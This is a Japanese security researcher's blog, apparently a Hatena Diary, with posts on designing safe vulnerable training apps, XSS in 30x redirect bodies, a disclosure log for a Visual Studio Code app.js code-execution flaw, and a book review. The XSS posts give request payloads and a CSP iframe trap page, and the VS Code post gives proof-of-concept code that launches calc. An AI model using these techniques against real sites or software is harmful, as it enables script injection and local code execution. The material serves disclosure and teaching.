Hatena::ブログ(Diary)

葉っぱ日記 このページをアンテナに追加

2016-12-16

[] 安全な脆弱性の作り方  安全な脆弱性の作り方を含むブックマーク

この記事は 「脆弱性"&'<<>\ Advent Calendar 2016」16日目の記事です。具体的な脆弱性の話でなくてすみません。いろいろコードを書いていると、安全に脆弱性を発生させたくなるときがあります。って書くとさっぱり意味がわからないと思いますが、セキュリティの講義のための演習環境とかそういうやつです。

受講生自身の手でWebアプリケーションの脆弱性を探してもらうような演習では、検査対象となる脆弱性を含むWebアプリケーションを用意する必要があります。こういった「脆弱なWebアプリケーション」は例えば Broken Web Applications Project のようなものを代表にいくつかのものがありますが、これらはUIが英語であったり、あまりにもメジャーすぎて受講生も触っている可能性があったりと、場合によっては利用が難しいことがあります。特に、単一のWebサーバに対して複数の受講生が一斉に検査を行うような講義形態を採る場合(各自が手元でVMを立てて一人で検査を進めるよりも、同じサーバに全員でアクセスするほうが講義が盛り上がるのです)、環境に対して破壊的な脆弱性が存在していては演習そのものが中座してしまう可能性があります。

そこで、こういった講義を行う際には私はその講義の受講生のレベルなどに合わせて調整した脆弱なWebアプリケーションを都度自分で書いているのですが、そのときに「脆弱性があっても安全になるように」いくつか気を付けている点があります。今日はそういった点についてメモ書きとして記しておきます。

SQLインジェクションではデータベースを破壊できないよう読み取りのみに制限しておく
以前、演習の早い段階で参加者の一人がSQLインジェクションで他の参加者のパスワードを変更してしまったために他の参加者は演習を進めることができなくなったということがありました。それ以降は、SQLインジェクションを仕込むときにはデータベースの読み取りはできるが更新や削除といった破壊的な操作はできないように権限などを適切に設定する等の対策を行ってSQLインジェクションを含ませるようにしています。
CSRFは発生してもユーザーの妨げにならないものに限定する
以前の演習で、ログアウト機能にCSRFがある かつ ログイン直後に表示される個所で自由に画像ソースのURLを設定できる(これは脆弱性ではなくアプリケーションの機能) というのを組みあわせて、ログインすると直後に強制的にログアウトさせられてしまうという罠を参加者が仕込んだことがあり、その場合もやはり演習がそれ以降進まなくなってしまいました。ですので、CSRFを仕込む場合にはCSRFによって機能が呼び出されたとしても以降のユーザー操作に影響を与えない、例えばお問合せフォームの送信やニックネームの変更など、といった個所に限定するようにしています。
XSSもCSRF同様にユーザーの妨げにならない個所に限定する
XSSを仕込んでおく場合も、CSRF同様に仮に悪用されてもユーザーの操作の妨げとならないような個所だけで発生するようにしておきます。例えば、XSSの発生する個所をユーザー操作の必要な個所に限定する、蓄積型のXSSであっても例えばそのメッセージを開く前に削除できるようにする、といった感じです。
OSコマンドインジェクションは入れない
OSコマンドインジェクションは環境を破壊してしまう恐れが強く、特に参加者がそのことを把握していないような場合には何が起こるかわからないので、基本的には脆弱性としては含ませないようにします。
セッションアダプションは積極的に採用
攻撃者の用意したセッションIDを利用者に強制させるセッションアダプションはユーザーによって回避可能であり操作不能となるようなことがないため、実装上無理がない限りは脆弱性として積極的に取り込んでいきます。
オープンリダイレクタも積極的に採用
たいていの場合、オープンリダイレクタも演習の妨げとなるような致命的な問題が発生しにくいため、積極的に組み込んでいきます。ただし、そのリダイレクタが永続的かつユーザーの操作なしに有効となってしまいユーザーが以降の演習ができなくなるといったような個所には絶対に含まれないように注意が必要です。
安全でない暗号
対象となるWebアプリケーションにそれっぽいセキュリティポリシーの文面を掲載しておき、例えばそこに「このサービスは通信経路上が暗号化されているため安心してご利用頂けます」等を記載しつつhttpでアプリケーションをサーブするといった、技術的でない脆弱性を含ませておきます。これは他の脆弱性と違い環境を破壊されないので安全であり安心してサービスを提供できます!

これ以外にも「HTMLコメントやJSコメントに機密情報(らしきもの)を記載しておく」といった小さな脆弱性を含ませることもあります。

それにしても思うのは、このような脆弱性を自然なかたちで作りこむのはそれなりに難しいのに、世の中のWebアプリケーションではもっと信じられないような脆弱性が普通に存在していたりして、一方でこれだけ頑張って安全に配慮して脆弱性を作っているにも関わらず、ちょっとしたバグを利用して Masato Kinugawa さんにサーバ上で電卓を立ち上げられてしまうことがあったりと、なかなか世の中難しいなというところです。

2016-12-11

[] 30xリダイレクトのレスポンスボディでもXSS(その2)  30xリダイレクトのレスポンスボディでもXSS(その2)を含むブックマーク

この記事は 「脆弱性"&'<<>\ Advent Calendar 2016」11日目の記事です。昨日のネタの続きです。

昨日は30x応答のレスポンスボディを表示させるために21/tcpなどへのポートへリダイレクトさせるという方法を紹介しました。Firefoxではレスポンスボディを表示させるそれ以外の方法として、CSPを使うという方法があります。

リダイレクタが設置されているサイトが http://page1.example.jp/、リダイレクト先が http://page2.example.jp/ だったとします。

GET /redir?q=http://page2.example.jp/?"><script>alert(1)</script> HTTP/1.1
Host: page1.example.jp ← リダイレクト先と異なるオリジン

HTTP/1.1 301 Moved Permanently
Location: http://page2.example.jp/?"><script>alert(1)</script> 
Content-Type: text/html; charset=utf-8

<html>
document has moved to 
  <a href="http://page2.example.jp/?"><script>alert(1)</script>">here</a> ← 表示されない・実行されない
</html>

攻撃者は、わなサイト(たとえば http://evil.example.com/) 上に Content-Security-Policy を指定したうえで iframe でリダイレクタページを埋め込みます。

Content-Type: text/html;charset=utf-8
Content-Security-Policy: frame-src http://page1.example.jp← CSPでフレーム内のコンテンツとしてpage1のみを許可

<html>
<body>
  <iframe src="http://page1.example.jp/redir?q=http://page2.example.jp/?&quot;><script>alert(1)</script>"></iframe>
</iframe>

攻撃者のサイト上ではCSPによりframeとして表示可能なコンテンツがhttp://page1.example.jp/上のリソースに制限されており、iframe内ではpage1.example.jpを読み込んだ時点でpage2.example.jpへのリダイレクトが発生しますが、リダイレクトはCSPにより失敗し、結果としてpage1.example.jpのレスポンスボディが表示され、page1.example.jp上でのXSSが成立します。

というわけで、昨日に引き続き30x応答のレスポンスボディでもXSSを成立させるための方法を紹介しました。このように、30x応答でもXSSが存在していた場合には攻撃を成立させることができますので30xだからと油断せずにきちんと対策が必要です。

なお、昨日および本日の「30xリダイレクトのレスポンスボディでもXSS」ネタは、sec-testing.slack.comで教わりました。sec-testing.slack.comへの参加はhttp://slackin.csrf.jp/ からどうぞ!

2016-12-10

[] 30xリダイレクトのレスポンスボディでもXSS  30xリダイレクトのレスポンスボディでもXSSを含むブックマーク

この記事は 「脆弱性"&'<<>\ Advent Calendar 2016」10日目の記事です。小ネタですみません。


301や302のリダイレクトのレスポンスボディにてXSSが存在することが稀にありますが、30x応答ではボディ部分は表示されないのでXSSが存在しても脅威は発生しないというのが多くの方の理解ではないでしょうか。

GET /redir?q=http://example.jp/?"><script>alert(1)</script> HTTP/1.1
Host: example.jp

HTTP/1.1 301 Moved Permanently
Location: http://example.jp/?"><script>alert(1)</script> 
Content-Type: text/html; charset=utf-8

<html>
document has moved to 
  <a href="http://example.jp/?"><script>alert(1)</script>">here</a> ← 表示されない・実行されない
</html>

ところが、実際には(少なくとも)Firefoxではリダイレクトを止めることでレスポンスボディがブラウザ内に表示されXSSによるスクリプトが動作します。

Firefoxでリダイレクトを止める方法は複数の方法が知られていますが、今日解説するのは、21/tcpなどのブラウザではアクセスが禁止されているポートへリダイレクトさせる方法です。

ブラウザでは、例えば25/tcpにPOSTすることでブラウザからにせのSMTPを投げてメールを送信してしまうような問題を防ぐため、21/tcpや25/tcpなど特定のいくつかのポートへのアクセスが禁止されています。このようなアクセスが禁止されているポートへリダイレクトした場合、Firefoxでは30x応答のレスポンスボディがブラウザ内に表示されるため、30xページにXSSが存在していた場合には攻撃が成立します。

GET /redir?q=http://example.jp:21/?"><script>alert(1)</script> HTTP/1.1
Host: example.jp

HTTP/1.1 301 Moved Permanently
Location: http://example.jp:21/?"><script>alert(1)</script> ← リダイレクトされない
Content-Type: text/html; charset=utf-8

<html>
document has moved to 
  <a href="http://example.jp:21/?"><script>alert(1)</script>">here</a> ← 表示される・実行される
</html>

このように、30x応答でもXSSが存在していた場合には攻撃を成立させることができますので30xだからと油断せずにきちんと対策が必要です。

30xでXSSを成立させる方法は他にもあるので、時間があれば別の方法についても別途解説したいと思います。ではごきげんよう!

2016-11-10

[] Visual Studio Code における任意コード実行の問題  Visual Studio Code における任意コード実行の問題を含むブックマーク

Microsoftの提供するテキストエディタ Visual Studio Code にはローカルに保存されている特定の名前のファイルを起動時に読み込み、その内容をコードとして実行してしまう問題があります。現在のv1.7.1では問題は解消されていますが、問題が発生することを確認したv0.8.0との間のどのバージョンで問題が修正されたのかは不明です。

Microsoftでは本件を脆弱性として取り扱っているのか不明です。

以下、IPA経由でのMicrosoftとのやり取りです。


2015-10-04 IPAへの報告

  2) 脆弱性を確認したソフトウエア等に関する情報
     名称:Visual Studio Code for Windows (https://code.visualstudio.com/)
     バージョン: v0.8.0
     パッチレベル:
     言語:
     設定情報: 

     ※ パッチレベルについては、マイナーバージョンや適用されたパッチに
        対する情報、あるいはサービスパックやホットフィックス等の情報を
        含みます。

  3) 脆弱性の種類
     起動時に任意のJavaScriptコードを読み込み実行する脆弱性

  4) 再現手順
     (1) https://code.visualstudio.com/ より Visual Studio Code for Windowsのセットアッププログラム(VSCodeSetup.exe) をダウンロード
     (2) ダウンロードしたVSCodeSetup.exeをデフォルトのまま画面の指示に従いインストールしPC(Windows 7)を再起動
     (3) C:\node_modules フォルダ内に app.js というファイルを作成。内容は以下の通り
         ----
         var app=require("app");
         app.on = function(){
           require('child_process').exec( "calc", function(){} );
         };
         ----
     (4) スタートメニューより Visual Studio Code を実行する
     (5) Visual Studio Code起動時に(3)の app.js に記載されたJavaScriptコードが実行され、結果的に電卓が起動する。

  5) 再現の状況
     ■ 常に    □ 時々    □ まれに
     補足説明(バージョンによる、言語による、などを記入)


  6) 脆弱性により発生しうる脅威
     攻撃者がapp.jsを配置可能な場合、Visual Studio Codeが実行される権限で任意のコードが実行される可能性があります。

  7) 回避策
     ローカルPC内に app.js 等のファイルが存在しないことを確認する。

2016-01-14 IPAからの返答

IPA セキュリティセンターです。

本件の製品開発者に届出内容を確認いただいたところ、本件は脆弱性で
はないとの見解を頂きました。

お手数おかけいたしますが、開発者の見解をご確認いただき、10営業日
を目処に発見者様のご意見および見解をご返信いただきたくお願いいた
します。

・開発者の見解
- -----------------------------------------------------------------
本件につきまして確認を行いましたところ、
本悪用を実行するには、ご記載いただいたように、前提として、攻撃者
がローカル上に細工した app.js ファイルを設置する必要があります。
被害者端末上でこの操作を行える状況であるということは、そもそもそ
のほかあらゆる操作が実行できることを示しており (この方法を使用し
なくとも直接悪事を働くことは可能)、前提条件に端末上の操作を行う必
要のある挙動につきましては、製品の脆弱性ではないと判断しておりま
す。

  参考文章:「セキュリティの脆弱性」の定義
  http://technet.microsoft.com/ja-jp/library/gg983510.aspx

また、その他の現実的な手法など、多角的に確認しましたが、ソーシャ
ルエンジニアリング以外で、現実的に被害者ユーザーに気づかれること
なく、端末上での操作を行うことなく実施することは難しいと考えてお
ります。
恐れ入りますが、被害者端末にログオンを行わない、あるいは、被害者
によるマルウェアインストール動作を伴わない具体的な悪用シナリオが
ございます場合、また具体的な修正案がございます場合は、お知らせい
ただけますようお願い申し上げます。

なお、app.js は Visual Studio Code のメイン機能の1つである
”Debugging”の構成ファイルの一部であり製品動作としてアプリ起動時
に読み込まれます。このため、当ファイルを読み込まない、もしくはロー
カルから削除することは前提としておりません。

以上、ご質問、ご不明点などございましたらお気軽にお知らせください
ますようお願いいたします。
- -----------------------------------------------------------------

▽ 発見者様への確認事項
上記見解および当該脆弱性に関して追加のご意見や情報等があればご教
示下さい。追加情報が無い場合もその旨をご連絡いただければ幸いです。

▽ IPA の判断および今後の対応について
弊機構としては本件は脆弱性と判断しており、開発者の見解に対して以
下の意見を送り、再考を依頼しました。しかしながら、開発者より見解
を発見者様へ情報展開いただきたいとの要望を頂きました。

・IPA から製品開発者に伝えた意見
- -----------------------------------------------------------------
・「app.js」ファイルについて
本件は当該製品のインストール時に存在しない(作成されない)場所に
「app.js」が設置されているだけで問題の影響を受けてしまいます。
IPA の検証時に再現を確認した設置場所は以下となります。

  C:\node_modules\app.js
  C:\Program Files (x86)\node_modules\app.js
  C:\Program Files (x86)\Microsoft VS Code\node_modules\app.js
  ※いずれにおいても「node_modules」ディレクトリ自体も新規に作成
    しています。

・被害者ユーザの動作について
> ソーシャルエンジニアリング以外で、現実的に被害者ユーザーに気づ
> かれることなく、端末上での操作を行うことなく実施することは難し
> いと考えております。
> 恐れ入りますが、被害者端末にログオンを行わない、あるいは、被害
> 者によるマルウェアインストール動作を伴わない具体的な悪用シナリ
> オがございます場合、また具体的な修正案がございます場合は、お知
> らせいただけますようお願い申し上げます。
本件は、被害者ユーザが何らかの不正なソフトウェアのインストール動
作をする必要はありません。
細工した「app.js」ファイルを上記の検証時に確認した設置場所に保存
しているだけで、当該製品の起動時に細工した「app.js」が読み込まれ
てしまいます。

・脆弱性の種類について
本件は、下記の脆弱性と類似の脆弱性と考えており、製品開発者様にて
対応が必要と考えております。

  任意のDLL/実行ファイル読み込みに関する脆弱性の注意喚起
  https://www.ipa.go.jp/about/press/20101111.html
- -----------------------------------------------------------------

開発者は、攻撃者がローカル上に細工した app.js ファイルを設置でき
るという前提条件は「ほかあらゆる操作が実行できる」ことを示してい
ると主張しています。この点に対して、下記の攻撃シナリオを提示し、
再度開発者に再考を依頼する予定です。

  1.攻撃者が細工した app.js ファイルをメールに添付し、被害者に送付する。
  2.被害者が添付ファイルを端末上に保存する。
  3.被害者が当該製品を起動した際にスクリプトが実行される。

以上、よろしくお願いいたします。

2016-01-14 IPAへの回答

本件、既報の任意DLLの読み込み、実行の脆弱性と類似の脆弱性であり
修正が必要であるという主張に同意です。

Windows上において、標準アカウントAが C:\node_modules\app.js を作成し、
他のアカウントBが Visual Studio Code を使用した場合、ユーザーBの権限で
Aが作成した任意のコードが実行されます。

これは、製品開発者が示す脆弱性の定義においても例えば
「特権のないユーザーに同様の変更ができるという弱点は、セキュリティの脆弱性となります。」
などに該当し、脆弱性として取り扱うことが適切であると考えられます。

以上、よろしくお願いいたします。

2016-09-28 IPA経由Microsoftからの返答

IPA セキュリティセンターです。

製品開発者より、状況の連絡がありましたので情報共有させて頂きます。

- -----------------------------------------------------------
開発者からの連絡(ここから)
- -----------------------------------------------------------
本件につきまして、度重なるご連絡を頂戴することとなり大変申し訳ございませんでした。
弊社側の過去の経緯の理解、また IPA#19553564  と IPA#00324715(Electron) の
関係性などの把握が不足しておりご返信が遅くなりましたことをお詫びいたします。

再度状況を確認しましたところ、当初 IPA#19553564 を、前提として攻撃者が
ローカルに細工したapp.jsファイルを配置する必要性から脆弱性としては扱わない判断、
また具体的な攻撃シナリオを教えていただきたい旨お伝えしておりました。
その後、1/15 にいただいた追加情報を基に再度 MSRC と確認を取った結果、
以下の理由から、本件は現行の製品バージョンにおいて、修正や変更を行うコストや
リスクと比較して影響度が現時点では低いとの判断から、セキュリティ更新プログラム
での修正は行わない判断がされております。

・C:\ や C:\Program Files (x86)\ は管理者権限が必要。攻撃者がこのフォルダーに
細工した app.js を直接配置できるということはすでに乗っ取られているかマルウェア感染
・被害者が細工された app.js をメール等で受け取り、添付ファイルを端末上の特定の
フォルダーに保存し、VS Code を起動する、というシナリオは可能性としては考えられるものの、
ユーザー操作を多く含み、また  VS を使用するレベルのユーザーが攻撃者の意図 (指示) 通りに
端末上に保存する可能性にも依存

よって、1/15の追加のシナリオにより、当初の「脆弱性としては扱わない」状況からは
変わっておりますが、修正に関しては、総合的な深刻度やユーザーへの影響度を鑑みて
セキュリティ修正を行わない、というステータスです。

現在米国 MSRC に対し、IPA#19553564  と IPA#00324715 (Electron) の関係性について説明し、
Electron側で対応がなされたこと、VS の特定のバージョン以降で、修正済みのElectronバージョンを
同梱しているなどで修正された(される) などないか、MS としてのベンダーステータスで記載できる
ことはないかなどを、再度確認を入れております。
また、発見者様が Code Blue で情報を公開される点についてもMSRCに共有しています。
本社から本件についての返答もしくは情報が入り次第、ご連絡をさせていただきますので、
少々お時間を頂戴できませんでしょうか。

この度は、情報把握に不備があり、至らずで大変申し訳ございませんでした。
- -----------------------------------------------------------
開発者からの連絡(ここまで)
- -----------------------------------------------------------

2016-10-18 IPAへの回答

---
・C:\ や C:\Program Files (x86)\ は管理者権限が必要。攻撃者がこのフォルダーに
細工した app.js を直接配置できるということはすでに乗っ取られているかマルウェア感染
・被害者が細工された app.js をメール等で受け取り、添付ファイルを端末上の特定の
フォルダーに保存し、VS Code を起動する、というシナリオは可能性としては考えられるものの、
ユーザー操作を多く含み、また  VS を使用するレベルのユーザーが攻撃者の意図 (指示) 通りに
端末上に保存する可能性にも依存
---

製品開発者の上記見解について、こちらで確認しましたところ、例えば C:\ 上に node_modules
というフォルダを新たに作成し、そこに app.js というファイルを作成するという行為において
管理者権限は必要なく、標準ユーザーで全ての作業が行えるという認識です。

Windows 7 上にて user という名前の標準ユーザーでログインし、上記作業を実際に行った際の
スクリーンショットを添付しておきます。

製品開発者に上記見解が正確かどうか、改めてご確認いただけると助かります。

以上、よろしくお願いいたします。

2016-11-04 IPA経由Microsoftからの返答

IPA セキュリティセンターです。

前回、発見者様より頂きました情報に関して、製品開発者より、返信が
ありましたので、状況共有させて頂きます。

- -----------------------------------------------------------
開発者からの連絡(ここから)
- -----------------------------------------------------------
失礼いたしました。管理者権限が必要というのは正しくありませんでした。
管理者にコントロールされている、という意図でした。
がおっしゃる通りユーザー権限でも操作は可能かと思います。
ただ、攻撃者がこのフォルダーにapp.jsを直接配置できるということはそれ以外の操作もできることを意味しているのは変わりないと思います。
- ---
以下につきましては本社から返答がありませんため、再度確認を入れてみます。
> 現在米国 MSRC に対し、JVN#19553564  と JVN#00324715 (Electron)
> の関係性について説明し、Electron側で対応がなされたこと、VS
> の特定のバージョン以降で、修正済みのElectronバージョンを同梱しているなどで修正された(される) などないか、MS
> としてのベンダーステータスで記載できることはないかなどを、再度確認を入れております。

よろしくお願いいたします。
- -----------------------------------------------------------
開発者からの連絡(ここまで)
- -----------------------------------------------------------

各メールで不要な個所はカットしてあります。

関連:JVN#00324715: Electron における Node モジュール読み込みに関する問題

2016-10-29

[] あなたのセキュリティ対応間違っています  あなたのセキュリティ対応間違っていますを含むブックマーク

書籍「あなたのセキュリティ対応間違っています」を著者の汁 伸弘さんから頂きました!ありがとうございます!

情報セキュリティに関連して世の中で話題になった様々なトピックスを、わかりやすい口調で解説してくれる書籍です。

とにかくわかりやすく書かれているので、技術に精通していない人でもどんどん読み進めることができますし、すべてのトピックスを読まなくても興味のあるところや深く知りたいトピックの章だけを拾い読みしても十分に面白い本です。

辻さんがすごいのは、これだけわかりやすく書きながらも内容が正確なところで、辻さんの日ごろの丹念な背景調査の集大成なんだろうなというのを感じ取れる内容です。

あなたのセキュリティ対応間違っています

あなたのセキュリティ対応間違っています